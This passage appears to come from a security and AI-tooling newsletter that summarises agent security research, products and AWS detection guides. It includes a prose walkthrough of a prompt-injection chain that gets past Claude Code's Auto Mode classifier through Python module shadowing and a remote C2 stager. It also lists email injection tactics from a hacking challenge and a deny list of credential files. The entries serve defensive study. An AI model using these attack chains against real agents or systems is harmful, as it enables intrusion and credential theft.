    • Next: Cover the whole SDLC, let agents propose fixes with engineers still approving, and extend the Codex to product, security, compliance and trust and safety.

    Takeaway: Write standards as machine-parseable RFCs with stable IDs and deliver them at the point of work through AI review. Push anything deterministic into linters, start advisory, block only after explicit promotion, and keep humans owning final approval.

  • ADR: Securing Enterprise AI Agents Through Observability, Security Benchmarking, and Threat Detection
    summary

    TL;DR: ADR (Agentic AI Detection and Response) is Uber’s open-source security system for AI agents, deployed in production at Uber and backed by an MLSys 2026 paper (Li et al., arXiv 2605.17380).

    • Targets: Employee coding agents (Cursor, Claude Code, Codex, GitHub Copilot CLI, DeepSeek Harness) and customer-facing agents such as AI support bots.
    • Five capabilities: Discovery, observability, benchmarking, detection, prevention.
    • Discovery: Inventories AI apps, CLI agents, IDE extensions, local model runtimes and MCP servers on endpoints via probes and a fingerprint catalog; flags unknown surfaces for review.
    • Observability: A Sensor collects agent intent, tool calls and execution traces into a unified schema across 7+ coding tools on macOS, Linux and Windows, incl. opencode, Claude Desktop and Gemini CLI journals with nested subagent sessions.
    • ADR-Bench: 304 tasks, 134 MCP servers and all 17 agent attack techniques for measuring how well detectors catch malicious agent behavior.
    • Detection: Two tiers: high-recall triage flags sessions, then deeper agentic reasoning investigates suspicious ones.
    • Not open-sourced: Prevention (blocking unsafe actions) and the offline ADR Explorer engine for pre-deployment red teaming.
    • Running it: Clone, run uv sync in the Detection directory, set Anthropic and OpenAI API keys, use the default adr detector or llamafirewall for a keyless smoke test; full evaluation inflates the packed benchmark, runs detectors and plots figures per REPRODUCIBILITY.md.
    • Fixtures and license: Detection holds synthetic fixtures (fake credentials, prompt-injection scenarios) for defensive research only; code is Apache 2.0, vendored AgentDojo is MIT.

    Takeaway: Treat coding agents like an EDR problem: inventory agents and MCP servers on laptops, collect normalized traces, layer cheap triage with expensive LLM investigation, and benchmark the detector before trusting it.

  • Pangolin: Networking and Security Platform for Secure Access to Apps, Infrastructure, and AI Workloads
    summary

    TL;DR: Pangolin is an open-source WireGuard-based SASE platform bundling zero-trust VPN, zero-trust reverse proxy, privileged access management and an identity-aware AI gateway under one identity and policy model.

    • Core idea: Lightweight user-space connectors open outbound tunnels, so networks behind firewalls or NAT are reachable without public IPs or open inbound ports.
    • Reverse proxy: Exposes HTTPS apps and gives clientless browser access to VNC, RDP and SSH; protected by SSO, PIN codes, passcodes, email one-time codes, geoblocking and allow-lists.
    • Private access: Client mode with peer-to-peer connections to specific hosts, IPs, port ranges or CIDR networks, DNS aliases, PAM for SSH, and routing through multiple connectors for redundancy.
    • AI gateway: One Pangolin URL in front of OpenAI, Anthropic, Gemini and self-hosted Ollama, vLLM or Mistral; keyless access via desktop client or personal API keys; budgets, session history, usage analytics.
    • Identity: Built-in or external IdP with user and role sync; RBAC, per-resource grants, full audit logs; a Resource Launcher home page per user; alerts when a device or resource goes down.
    • Deploy: Managed Pangolin Cloud, or self-host via quick install guide or DigitalOcean Marketplace image; clients for macOS, Windows, Linux, iOS and Android.
    • Stack: Appears to be Next.js and TypeScript with Drizzle ORM on PostgreSQL or SQLite, shipped with Docker Compose files.
    • Licensing: Community Edition AGPL-3; Enterprise Edition under the Fossorial Commercial License, free for personal use and businesses under 100,000 USD annual revenue. Around 23,000 GitHub stars.

    Takeaway: Consider it as a self-hostable alternative to Cloudflare Tunnel or Tailscale-style setups that replaces port forwarding and bastion hosts with identity-gated outbound tunnels. It can also be a central, audited choke point for LLM API access.

  • Threat Hunt AI: How We Built an AI Security Analyst on AWS for Under $500/Month
    summary

    TL;DR: Pablo Vidal describes Grow Therapy’s Claude-based AI threat hunting on AWS, running daily hunts across many SaaS and cloud log sources for roughly 320 to 510 USD per month.

    • Sources: AWS, Okta, Google Workspace, GitHub, CrowdStrike, Slack, Stripe and others; 15 log sources in Snowflake plus about 14 days of existing Datadog logs, so no new ingestion pipeline.
    • Deterministic layer: SQL detections as Snowflake tasks every 15 minutes, defined in YAML (query, lookback, dedup rules, severity); they still generate most alert volume.
    • Hunt runtime: Docker container on ECS Fargate (1 vCPU, 2 GB RAM), launched by an EventBridge cron and a small Lambda; runs 15 to 45 minutes, writes findings to Snowflake, exits.
    • Plumbing: One ALERTS table; Lambdas poll its change stream every 5 minutes, handle Slack buttons and Jira webhooks, process SQS work; DynamoDB for short-term state, NAT Gateway static IP allowlisted by Snowflake, Secrets Manager, all in Terraform.
    • Hunt definition: YAML with objective, severity guidelines, known false positives, allowed-tool flags and schedule; conventions in an AGENTS.md; about 20 hunts in production.
    • Phased prompting: Single-shot was vague; Claude Sonnet gathers data (up to 100 tool calls), then Claude Opus with extended thinking does 1-day and 7-day baselines, enrichment and confidence scoring.
    • Adversarial validation: The model argues against each finding and seeks counter-evidence (corporate VPNs, known automation accounts), dropping findings only on specific evidence; before it, about 40% of findings were noise.
    • Feedback and dedup: Analyst FP marks flow Slack, Jira, Snowflake; patterns with 3+ occurrences and 80%+ FP rate over 90 days go into the prompt. Duplicates use a SHA-256 fingerprint and 48-hour window confirmed by a tiny Sonnet call.
    • Numbers: Monthly 250 to 400 USD Claude API, 60 to 90 Snowflake, 10 to 20 Fargate, 5 to 10 Lambda, DynamoDB and NAT; phase 1 on Sonnet alone cut costs about 60%; first CloudTrail hunt went from 15+ findings per run to 2 to 3 after tuning.

    Takeaway: Centralize queryable logs first, reuse existing observability spend, and build the analyst feedback loop and per-hunt cost tracking from day one. Tune new hunts in a no-alert staging table, and start with few tools, since large tool sets bloat context and degrade signal.

  • Putting Models to the Secure Coding Test: Plan vs Default Mode
    summary

    TL;DR: Datadog Security Labs’ Kennedy Toomey tested whether AI coding agents in plan mode write more secure code than default mode; they do not, and every build had an IDOR.

    • Setup: One prompt for a JavaScript document portal: JWT and session cookies, PostgreSQL, multiple roles, password reset, search, file upload, comments, profile editing, GitHub Pages deploy workflow; no document-level access rules specified.
    • Models: Sonnet 5 in Claude, Composer 2.5 in Cursor, GPT 5.5 in Codex, each in both modes (six builds) from empty folders, installing via Datadog’s open-source Supply Chain Firewall (SCFW).
    • Scanning: Datadog Code Security (SCA, SAST, IaC, code quality) plus an audit with Claude’s code_review skill.
    • Headline: All six builds had an IDOR letting any logged-in user read, download or comment on others’ documents; plan mode did not prevent it.
    • Default mode: Sonnet 5 had the most resilient backend (CSRF protection, rate limiting); GPT 5.5 was weakest, returning password-reset tokens in JSON and weakening cookie flags whenever NODE_ENV was not production.
    • Plan mode: Sonnet 5 had the most mature architecture (Prisma, Zod, rotating refresh tokens, a hardening pass) but inconsistent CSRF and trusted JWT claims without DB checks; Composer 2.5 was worst overall, with hardcoded JWT secret dev-secret-change-me when unset and email changes without password re-verification.
    • Dependencies: SCFW blocked multer 1.4.5-lts.2 (eight high-severity issues), vite 5.4.21, esbuild 0.21.5 and an old nodemailer, which agents then upgraded; none used dependency cooldowns, all used caret ranges.
    • Numbers: All builds used parameterized queries; SAST counts ranged from 0 (Sonnet 5 plan) to 29 (Composer 2.5 default).
    • Conclusion: Mode had no meaningful correlation with security; plan mode fixed some issues and introduced others; the prompt mattered more because models did not infer authorization rules.

    Takeaway: State security requirements explicitly, centralize authorization in shared middleware, fail at startup on missing or placeholder secrets, avoid environment-dependent debug behavior, and apply CSRF and rate limiting consistently. Gate dependency installs with a firewall and pinned versions, and always run independent SAST, SCA and review on agent-generated code.

  • ai-job-search: AI Job Application Framework Built on Claude Code
    summary

    TL;DR: AI Job Search is an MIT-licensed, open-source job application framework built on Claude Code: fork it, fill in your profile, and drive it through slash commands.

    • Origin: Built by a geophysicist who lost a position in late 2025, during his own search; he self-reports 69 tailored applications, 20 first interviews and one signed AI engineer contract.
    • Core loop: /setup builds a profile from documents, a pasted CV or an interview; /scrape searches job portals, deduplicates and ranks by fit; /apply takes a URL or pasted posting.
    • Apply step: Evaluates fit, drafts a LaTeX CV and cover letter, has a separate reviewer agent critique them, revises, compiles PDFs and checks the CV’s text layer for ATS parseability.
    • PDF verification loop: Enforces a 2-page CV and 1-page cover letter, cutting content by relevance when it overflows.
    • Other commands: Interview prep and mock interviews, outcome tracking, Gmail-based status updates proposed for approval, batch ranking, skill-gap analysis, an offline HTML dashboard, one-way Notion sync.
    • Security gates: A deterministic gate screens postings for hidden text and prompt-injection-style lines; a language gate rejects postings requiring undeclared languages; honesty rules require claims must come from your profile, and keyword gaps are shown instead of filled.
    • Requirements: Paid Claude plan or API credits, Python 3.10+, LaTeX (moderncv with lualatex, a custom cover class with xelatex), Bun for portal CLIs, optionally pypdf or Poppler.
    • Portals: Mostly Danish (Jobindex, Jobnet, Jobbank, Jobdanmark); LinkedIn public endpoints and the freehire.me API are country-agnostic.
    • Caveats: Public forks are always public, so keep personal data in a private repo with this one as upstream; the LinkedIn skill uses unauthenticated endpoints, violating LinkedIn’s terms; safeguards are instruction-level, not a sandbox; third-party portal skills run pre-approved and should be code-reviewed.

    Takeaway: Study it as a well-structured multi-step Claude Code workflow with reviewer agents, deterministic verification and injection screening, and keep personal data out of public forks.

  • kern: Rootless, Daemonless Container Runtime for Agent Tool Calls and LLM-Generated Code
    summary

    TL;DR: kern is a rootless, daemonless Rust container runtime shipped as one static binary that doubles as a sandbox for LLM- or agent-generated code.

    • Build: Single static binary, libc its only Rust dependency; Apache-2.0, maintained by Alessandro Polito, relatively young with a few hundred stars.
    • Boxes: Containers use OCI images and support pull, build, commit, push, save and load; the README claims single-digit-millisecond starts.
    • Isolation: Six Linux namespaces, pivot_root, read-only or overlay root, deny-by-default /dev, cgroup v2 limits, an always-on seccomp allowlist keeping 35 escape-related syscalls denied, dangerous capabilities dropped before exec.
    • Defaults: No file access unless passed in, no network unless enabled; --security-profile untrusted combines the seccomp allowlist, dropping all capabilities and a read-only root.
    • Stacks: Runs existing docker-compose.yml or its own stack.toml, each service in its own network namespace with name-based discovery; kern run applies the same caps to a plain host process.
    • Ops commands: ps, logs, exec, stats, inspect, top and doctor, which checks the host and reports what to fix.
    • Numbers: Zero memory at rest (no daemon or socket) vs 154 to 160 MB for Docker; self-measured on x86 in September 2026: 80x faster than docker run for one container, 130x for 200 concurrent, 3.6x faster than rootless runc; it encourages measuring yourself.
    • Security evidence: Ran 25 published container-runtime escapes against it; ships a pentest directory, threat model, CVE posture and egress docs; SECURITY.md marks which boundaries are cooperative rather than kernel-enforced.
    • Platforms and SDKs: Native on Linux x86_64 and aarch64; Ubuntu 23.10+ needs a one-time root step; Windows and macOS via WSL2 or a Colima VM; Python and Node kern-sandbox packages return timeouts and OOM as typed faults; MCP server for Claude Code, Cursor, Claude Desktop and LM Studio.

    Takeaway: Evaluate it as a lightweight, root-free, daemon-free sandbox for untrusted agent code, but treat benchmarks as vendor-reported and review the documented cooperative boundaries before relying on it.

  • Replace PRs with Delta: Now in Public Beta
    summary

    TL;DR: Zed Industries opened the public beta of Delta on September 16, 2026, a multiplayer environment for coding with AI agents that replaces pull requests with shared agent threads.

    • Dogfooding: Zed disabled pull requests on Delta’s own repository and builds Delta entirely inside Delta, using it daily.
    • Collaboration: Instead of commit-and-push, you invite teammates into agent conversations; they see the same worktrees from their own machines, ask the agent about past decisions and continue threads.
    • Review: A review subthread walks the branch’s changes with full access to the original agent’s context, so reviewers need not reconstruct the author’s reasoning.
    • Isolation: Each review gets an isolated copy of the parent thread’s worktrees, so reviewers can experiment, request revisions, or fix issues with their own agent and merge fixes back before landing.
    • DeltaDB: Extends Git’s content-addressed model with incremental, delta-based versions recording edits between commits plus human and agent messages; commits remain the push/pull/build checkpoints, so non-Delta users see a normal Git repo.
    • GitHub: The main zed-industries/zed repo stays on GitHub, where contributors are encouraged to attach Delta threads to pull requests.
    • Framing: “Continuous engineering”: threads, not commits and diffs, as the unit of software development.
    • Limits: Git storage inside DeltaDB is in progress; content-based builds bringing CI-style verification into threads are longer-term; other GitHub workflows are not replaced; for now an agent can trigger runs in an existing CI provider and check results before landing.
    • Availability and numbers: Desktop apps on macOS, Linux and Windows, browser, and mobile browsers for following threads; thousands of early-access requests; 570 changes landed to main by 33 employees since PRs were turned off; free in beta, paid individual and team plans planned, free tier promised.

    Takeaway: Review and provenance move into agent threads, so work out how branch protection, required reviews, CI gates and audit trails map onto a workflow that no longer centers on pull requests.

  • video2x: Machine Learning-Based Video Super Resolution and Frame Interpolation Framework
    summary

    TL;DR: Video2X is an open-source, machine-learning framework for video super resolution (upscaling) and frame interpolation that runs on any Vulkan-capable GPU.

    • History: Started at the Hack the Valley II hackathon in 2018; about 22,000 GitHub stars.
    • v6.0.0: Complete rewrite in C and C++, which the project says improved speed, efficiency and output quality; added a new GUI and Windows installer; processing now needs no extra disk space beyond the final output, instead of dumping intermediate frames.
    • Modes and algorithms: Filtering for upscaling, interpolation for frame rate; Anime4K v4 plus custom MPV-compatible GLSL shaders, Real-ESRGAN, Real-CUGAN and all RIFE models.
    • Runtime: Real-ESRGAN, Real-CUGAN and RIFE run on Tencent’s ncnn inference framework on Vulkan, not tied to CUDA.
    • Hardware: Precompiled builds need an AVX2 CPU (Intel Haswell or AMD Excavator and newer) and a Vulkan GPU such as NVIDIA Kepler, AMD GCN 1.0 or Intel HD Graphics 4000 and newer.
    • Distribution: Windows installer (6.4.0 listed as latest); Linux via Arch AUR, archlinuxcn packages and a universal AppImage; GitHub Container Registry images for Docker or Podman on Linux and macOS.
    • Colab: Free NVIDIA T4, L4 or A100 GPUs with a 12-hour session limit; maintainers ask users not to run continuous back-to-back sessions.
    • Extras: GUI in English, Simplified Chinese, Japanese, Portuguese, French and German; docs at docs.video2x.org; older demos upscale the Spirited Away trailer from 360p to 4K and Bad Apple from 384p at 30 FPS to 4K at 120 FPS.
    • License: AGPL-3, bundling FFmpeg (LGPL/GPL), ncnn (BSD 3-Clause) and several MIT-licensed ncnn-Vulkan model ports.

    Takeaway: Use the containerized, GPU-vendor-neutral pipeline for batch upscaling on any Vulkan host, and mind the AGPL if you plan to offer it as a network service.

  • LLM Engineering Resources
    summary

    TL;DR: Edward Donner’s companion resource page for his 8-week LLM Engineering core track gathers the repo, slides, FAQ and a curated map of LLM tools, models and leaderboards.

    • Timeline: Originally posted November 2024; a 2026 update adds re-recorded videos as drop-in replacements; the course runs through several commercial-style projects, ending with an agentic AI solution to a complex business problem.
    • Resources: GitHub repo with setup instructions, slides, a FAQ, a “digital twin” AI avatar of Donner answering common questions, and the Proficient AI Engineer directory for graduates.
    • Student habits: Pull the latest code each week as labs, tips and exercises keep landing; send PRs with your solutions, and merged contributors are credited on GitHub.
    • Frontier models: ChatGPT (GPT-4o, o1), Claude 3.5 Sonnet, Gemini, DeepSeek R1 and V3, Mistral Le Chat, Cohere Command R+, Meta’s Llama 3 and Perplexity; the FAQ confirms Gemini or free models can replace OpenAI.
    • Reading: “Attention Is All You Need”, “On the Dangers of Stochastic Parrots”, the Chinchilla scaling law paper, and Anthropic’s prompt generator.
    • Tooling: Hugging Face and transformers, LangChain, Gradio (Streamlit, Dash, Mesop as alternatives), Weights & Biases, Google Colab and Modal; Amazon Bedrock, Vertex AI and Azure ML are explicitly not covered.
    • Evaluation: Artificial Analysis, Vellum, Scale’s SEAL, LM Arena and LiveBench, the last designed to resist training-data leakage.
    • Examples: Harvey (law), Nebula (talent), Bloop (legacy code porting), Salesforce Einstein Copilot Health, Khanmigo; a bonus project fine-tunes an LLM on Donner’s 240,000-message text history.
    • Cost: Everything can be done on Colab’s free tier or with minimal spend.

    Takeaway: Use it as a curated starting map of LLM tooling and evaluation, and a cheap hands-on route to understanding systems you will later deploy and secure.

  • llm_engineering: Repo for the Mastering LLM Engineering Course
    summary

    TL;DR: The MIT-licensed code repo for Ed Donner’s Udemy LLM Engineering course, a low-cost, hands-on lab for local models, frontier APIs, fine-tuning and agents.

    • Popularity: Roughly 7.7k stars, 7.5k forks and more than 15,000 commits, many from student contributions.
    • Structure: Eight weekly folders, week1 through week8, building to a final “powerful autonomous Agentic AI solution”; plus guides, setup docs, extras and a large community-contributions area.
    • Environment: Python managed with uv (via pyproject.toml and uv.lock); Cursor is the course IDE; Claude Code appears in an early agentic AI demo but is not formally taught.
    • Local inference: Ollama running Llama 3.2; avoid Llama 3.3, whose 70B size is too big for most home machines; use llama3.2:1b on weaker hardware.
    • Ollama fallbacks: Run ollama serve in a separate window or switch to a provided Colab notebook.
    • GPU: Google Colab from Week 3 onward; the free tier is enough.
    • APIs: Cheapest models recommended, such as gpt-4.1-nano and claude-3-haiku; Gemini and OpenRouter as free or alternative routes.
    • Cost: A couple of dollars in API fees for the whole course; some providers need about $5 minimum credit; optional Week 7 cost him about $10, though a cheaper dataset is offered.
    • Method: Learn by doing: run every cell, inspect the objects, change the code, and watch usage dashboards regularly.

    Takeaway: Use it for cheap hands-on practice with local models, APIs, fine-tuning and agent patterns; the habits of cost monitoring and picking the cheapest working model carry straight into production.

  • What Happened After 2,000 People Tried to Hack My AI Assistant
    summary

    TL;DR: Fernando Irarrázaval’s hackmyclaw challenge let anyone email his OpenClaw-based assistant Fiu to leak a secrets.env file; 6,000+ emails produced zero leaks, but plenty of operational lessons.

    • Setup: Fiu ran on Claude Opus 4.6 on a VPS with email, calendar, files and web access; told not to reply to emails but technically able to send them; the challenge took off after hitting the Hacker News front page.
    • Defense: Short rule set: never reveal secrets, modify its own config, execute commands from emails, or send data to external endpoints because of email content.
    • Numbers: More than 6,000 emails from more than 2,000 unique senders; zero successful secret extractions and zero unauthorized replies.
    • Attacks: Fake emergencies and compliance audits with 24-hour deadlines, an “OpenClaw Admin” persona, “this is you from the future” messages, riddles, French, Spanish and Italian; one person sent 20 variations in four minutes; Anthropic’s refusal test string broke the processing pipeline.
    • Context poisoning: Early obvious attacks made the agent suspicious of every later email, so each message moved to a fresh context.
    • Memory drift: Around email 500, Fiu noted in memory that the volume looked like a coordinated security exercise, forcing a memory wipe and re-run of earlier messages.
    • Ops costs: Google suspended the Gmail account for three days over fraud signals; API costs passed $500; the bounty grew from $100 to $1,000 via sponsors Corgea, Abnormal AI and an anonymous donor.
    • Conclusions: Model choice matters (Opus 4.6 was trained for injection resistance); simple explicit rules helped, and reasoning traces referred back to them; he still does not let his agents send email.
    • Caveats: Multi-turn attacks, weaker models, non-English attacks and a higher prize could all change the result.

    Takeaway: Restrict outbound actions and credential access, isolate each untrusted input in its own context, and watch or reset persistent agent memory; plan for inbound volume that can drain budgets and trip provider abuse systems.

  • OWASP Agentic Skills Top 10
    summary

    TL;DR: The OWASP Agentic Skills Top 10 (AST10) is an OWASP incubator project billed as the first security framework for AI agent skills, the under-protected “behavior layer” of agents.

    • Scope: MCP covers how the model talks to tools; AST10 covers what those tools actually do; each risk maps to the Cloud Security Alliance’s MAESTRO seven-layer threat model.
    • Project: Led by Ken Huang with co-leader Fabio Cerullo, version 1.0-2026, 23 contributors.
    • AST01 Malicious Skills (critical): Evidence includes the ClawHavoc campaign with 1,184 malicious skills; mitigated with signed manifests, Merkle-root verification and registry scanning.
    • AST02 Supply Chain Compromise (critical): Cites ClawHub registry poisoning and CVE-2025-59536 (CVSS 8.7) in Claude Code’s handling of repository config.
    • AST03 to AST04 (high): Over-Privileged Skills cites Snyk’s February 2026 finding of 280+ credential-leaking skills; Insecure Metadata covers fake “Google” skills and YAML payloads hidden in SKILL.md files.
    • AST05 to AST06 (high): Untrusted External Instructions cites a PoC that evaded every scanner and reached 26,000+ agents, with 17,822 skills (12.4%) pulling external instructions; Weak Isolation cites OpenClaw host-mode execution and 135,000+ exposed instances.
    • AST07 to AST10 (medium): Update Drift, Poor Scanning, No Governance, Cross-Platform Reuse; evidence includes ClawJacked (CVE-2026-28363, CVSS 9.9), pattern-matcher bypass via natural-language injection, 53,000 exposed instances with no SOC visibility, and malicious skills ported between ClawHub and skills.sh.
    • Data: Snyk’s ToxicSkills scan of 3,984 skills found 36.82% with flaws and 13.4% critical; Air Security scanned 142,836 skills affecting 6.7 million installs.
    • Scanners: VirusTotal, Cisco’s skill-scanner and snyk-agent-scan.

    Takeaway: Treat agent skills like any third-party dependency: inventory, pin versions, verify hashes, require provenance and signatures, enforce least-privilege manifests, sandbox execution, and pair semantic with behavioral scanning, since pattern matching misses natural-language payloads.

  • The AI-Native SDLC Playbook
    summary

    TL;DR: Anthropic’s AI-Native SDLC Playbook, by Louis Claxton, redesigns the software lifecycle for fast coding agents, moving human effort from doing steps to judging what agents flag at gates.

    • Problem: Once agents code fast, planning, review, testing and deployment become the human-speed bottleneck; line-by-line review controls stop scaling, and governance stalls when exceptions wait on weekly or monthly committees.
    • Loop: Six stages, Plan, Design, Build, Test, Deploy, Maintain, each committing a version-controlled artifact: intent.md, spec.md, plan.md, the diff and tests, the PR with review findings, the incident record; the commit chain doubles as the audit trail.
    • Build practice: Start in Claude Code plan mode and commit an approved plan.md before coding; keep CLAUDE.md under a page and update it when Claude repeats a mistake; encode knowledge as skills, use hooks as deterministic guardrails (“skills make violations rare, hooks make them nearly impossible”).
    • Testing: Claude gets a feedback loop of tests, builds and screenshots; bug fixes start with a failing test, with test-file edits blocked during the fix.
    • Evals: Run continuously in CI from a 20 to 50 task set drawn from recent real work; every production incident becomes a regression eval.
    • Deploy: AI PR review driven by a REVIEW.md policy, non-interactive sandboxed Claude in CI/CD, per-environment autonomy tiers, and a hook blocking production deploys without a named release authorization.
    • Maintain: Monitoring tiers by deviation: 1σ logged, 2σ read-only diagnosis, 3σ the agent may propose a PR or run a pre-approved runbook.
    • Governance: The writing agent may not approve its code, each agent job has its own identity, activity exports via OpenTelemetry; MDM-enforced managed settings deny .env files, ~/.ssh, ~/.aws/credentials and GITHUB_TOKEN, disable bypass-permissions mode, allow only managed hooks and MCP servers, and add an OS sandbox with a domain allowlist.
    • Measurement and rollout: DORA metrics, first-pass CI success, review time per PR, eval pass rate; start with two or three parallel sessions and read-only CI tasks.

    Takeaway: It is a vendor document centered on Anthropic tooling, but reuse its separation of duties, deterministic hook backstops and managed-settings baseline when rolling out coding agents on any platform team.

  • Detecting Multi-Stage Attacks on AWS: A Guide to Cross-Service Signal Correlation
    summary

    TL;DR: An AWS Security Blog post on spotting multi-stage attacks by correlating signals across services with your own business context, beyond what single alerts or managed detectors show.

    • Attack phases: Initial access (GetCallerIdentity or AssumeRole from unfamiliar sources), discovery (List, Describe, Get enumeration with AccessDenied noise), privilege escalation (PutRolePolicy, CreateAccessKey), lateral movement across accounts or Regions.
    • Exfiltration signs: Mass GetObject calls, large outbound VPC Flow Logs transfers, Route 53 Resolver queries to newly registered domains.
    • Managed baseline: GuardDuty with Extended Threat Detection links multi-stage sequences into critical attack-sequence findings mapped to MITRE ATT&CK, plus Security Hub, Detective, Inspector and Security Lake, covering threats common across customers.
    • Custom patterns: Bulk reads of a classified bucket by a principal outside the expected-readers list; a role chain of two or more AssumeRole calls ending in a sensitive action; non-owner use of a single-workload KMS key; privileged IAM, security group or bucket-policy changes by a human outside the change window.
    • Queries: CloudWatch Logs Insights for each; one counts GetObject per principal in 10-minute bins, another sums non-RFC 1918 egress bytes per source and flags over 1 GB per 10 minutes.
    • Worked example: Expected-readers list in version control, DynamoDB or Parameter Store; baseline a week of traffic, threshold above the 95th percentile; validate queries manually; map principals to source IPs via EC2, ENI or ECS metadata.
    • Automation: Hourly EventBridge Scheduler job triggers a Python Lambda (300-second timeout) that correlates CloudTrail and Flow Logs results and publishes to SNS.
    • Timing: CloudTrail delivers events 5 to 15 minutes after the call, so use a 30 to 60 minute lookback with a 10-minute correlation window.
    • Gotchas and hardening: S3 GetObject only appears with CloudTrail data events enabled; harden with aws:SourceAccount and aws:SourceArn conditions against confused-deputy abuse, plus least-privilege, ARN-scoped Lambda permissions.

    Takeaway: Enable and tune the managed detectors first, then turn written lists of expected readers, role chains, key owners, pipeline identities and change windows into a few baselined correlation rules, using organization trails for multi-account coverage.

  • Impeccable: The Missing Design Vocabulary for Agents
    summary

    TL;DR: Impeccable, by Paul Bakaus, is a design skill for AI coding agents, “the missing design vocabulary for agents,” meant to turn generic AI-looking interfaces into ones worth shipping.

    • Reach: Works with ten agents: Claude Code, Codex CLI, GitHub Copilot, Cursor, Gemini CLI, Grok Build, Antigravity, OpenCode, Pi and Hermes Agent; about 84k GitHub stars.
    • Context: Design-system aware; reads existing tokens, components and Tailwind config, and loads DESIGN.md (visual system) and PRODUCT.md (users and goals), which commands consult before acting.
    • Commands (1): Create: shape, generate; Evaluate: critique, audit; Refine: typeset, layout, colorize, animate, delight, bolder, quieter, overdrive.
    • Commands (2): Simplify: distill, clarify, adapt; Ship: harden, polish, optimize, onboard; System: init, extract, document, live, hooks on.
    • Slop detector: Deterministic, code-only check for 61 agent-default patterns such as italic serif display type, side-tab borders, nested cards and “AI beige”; needs no model or API key.
    • Integration: Hooks run the check on UI edits and feed findings back to the agent; the CLI returns findings and exit codes, so it can gate CI and pull requests.
    • Interactive tools: Live Mode picks elements in a running app to steer design; Variants generate comparable alternatives; a Chrome DevTools extension shows issues in the page.
    • Install: npx impeccable install, the Claude Code plugin marketplace, npx skills add, or a built-in experimental Copilot setting; then /impeccable init and /impeccable hooks on.
    • Numbers and limits: Example results cut JavaScript from 412 kB to 86 kB and LCP from 3.4s to 1.1s; the page does not state a license.

    Takeaway: Borrow the pattern, a deterministic linter with exit codes wired into agent hooks and CI, to make agent output measurable and gateable, and review its every-edit hooks like any third-party skill before approving.

  • Breaking Claude Code Opus 5 Auto Mode
    summary

    TL;DR: Johann Rehberger (Embrace The Red) shows Claude Code’s Auto Mode, the default starting mode since mid-August 2026, is not a security boundary, using a multi-step indirect prompt injection.

    • Auto Mode: Replaces per-action human approval with a safety classifier, backed by model training, input probes, and a Trajectory Labs benchmark reporting 0.00% attack success for Opus 5 across 72 indirect injection scenarios run ten times each.
    • Entry: The user only asks for a website summary; the attacker’s server returns HTTP 415 to the WebFetch tool, and the model falls back on its own to curl in the shell.
    • Payload delivery: The curl request follows a redirect to a ZIP with encoded records, a README pointing at a macOS decoder binary, and a malicious struct.py; the model refuses the binary and writes its own Python decoder.
    • Root cause: Module shadowing: running the decoder inside the extracted directory puts it on Python’s import path, so importing base64 loads the attacker’s obfuscated struct.py instead of the stdlib module.
    • Execution: The module re-exports the real API so decoding works, then launches an isolated child process that pulls a remote stager, runs a native payload with a C2 callback, and in the demo opens Calculator.
    • Variant: Spawns a headless claude -p instance with its own tool access that runs whoami, uname and id and writes files outside the workspace.
    • Numbers: 3 of 5 for the C2 chain, 3 of 5 for recon, 4 of 5 for file-write; small samples, with payloads iterated between runs.
    • Model behavior: Sometimes noticed the compromise later, sometimes misreported what it ran, once had its own cleanup kill command blocked by Auto Mode; when resisting, it analyzed statically, used python -I, or ran code from a safe parent directory.
    • Vendor response: Anthropic closed it as Informative, working as designed: Auto Mode is a best-effort convenience classifier and the real boundary is OS isolation and egress control, which the author says sits uneasily with the 0.00% messaging.

    Takeaway: Run unattended coding agents in a container, VM or OS sandbox with restricted, monitored egress, keep SSH keys, cloud credentials and home directories out of reach, and never treat a classifier approval as proof a command is safe.

  • Automate IAM Identity Center Governance with Continuous Discovery and Reporting
    summary

    TL;DR: A late-August 2026 AWS Security Blog post on auditing which users and groups can reach IAM Identity Center managed applications across accounts and Regions, with a sample reporting and remediation solution.

    • Problem: Identity Center centralizes authentication, but at scale it is hard to answer who can reach which managed applications, who accessed them last, and how fast an auditor can get a report.
    • Planning: Use delegated administration; restrict who can provision managed applications via IAM, SCPs, RCPs or IaC policy tools; separate IaC provisioning pipelines from request-based group-membership workflows; use trusted identity propagation for an end-to-end identity trail.
    • Root cause: Application ARNs contain generated GUIDs, making resource-scoped IAM policies impractical, so keep management in a few principals and lean on detective and reactive controls.
    • Naming convention: Strict IdP group names such as AWS_<ACCT#>_<AWS_Service>_<LOB>_<ENV>_<AppName> let assignments be validated against application names.
    • Reporting stack: Sample sample-iam-idc-application-discovery-reporting, two AWS CDK stacks; runs daily at 2:00 AM UTC via EventBridge and Step Functions; Lambdas discover instances, applications and user or group assignments with friendly names into KMS-encrypted DynamoDB.
    • Exports: IAM-authenticated API Gateway writes CSV reports to encrypted S3, with presigned URLs valid for 900 seconds.
    • Remediation stack: EventBridge catches CloudTrail events from sso.amazonaws.com such as CreateApplicationAssignment and PutApplicationAssignmentConfiguration, validates against the naming rule, then alerts via SNS or remediates, with an SQS dead-letter queue and structured CloudWatch logs.
    • Matching rule: By default a group name must appear as a whole, case-insensitive word in the application name (ReadOnly matches sagemaker_readonly, read does not); a custom regex can be supplied; example findings flag a PROD app assigned directly to a user and a PROD app assigned to a DEV group.
    • Setup: Needs an Identity Center delegated admin, Python 3.12 and Node.js 18+, optional AllowedIpRange and a cross-account external ID; the example disables auto-deletion at first.

    Takeaway: Deploy reporting first for a baseline, agree on naming conventions before automating, and review findings before enabling enforcement; reuse the EventBridge, CloudTrail and Lambda detective-control pattern for any AWS resource IAM policies cannot easily scope.

01.06.2026

  • cloudsec-tidbits: Doyensec Blogpost Series on Cloud Security Bugs
    summary

    TL;DR: Doyensec’s CloudSec Tidbits repo pairs a blog series on web apps misusing correctly configured AWS services with deployable Terraform labs for each bug.

    • Problem: Bugs where the cloud infrastructure is configured correctly but the web application uses the services insecurely.
    • Format: Each episode covers one vulnerability from a risky web plus cloud mix, with an IaC lab to reproduce it.
    • Season 1: AWS SDK clients falling back to the system role, tampering Cognito user attributes, and AWS Batch privilege escalation (2022-2023).
    • Season 2: Multi-SSO Cognito user pool pitfalls and lax ALB setups that let an “intersection” get you inside (May 2026).
    • Labs: Five folders: lab-dataimport, lab-cognito, lab-batch, lab-masso, lab-elbaph.
    • Tooling: Terraform, per the repo tags. The README itself has no deploy instructions, so check each lab folder or post.
    • Scope: AWS only so far: SDK credential chains, Cognito, Batch and load balancers.

    Takeaway: Deploy a lab in a sandbox account and check your own apps for the same patterns, especially SDK credential fallback and client-writable Cognito attributes.

  • Shai-Hulud Goes Open Source
    summary

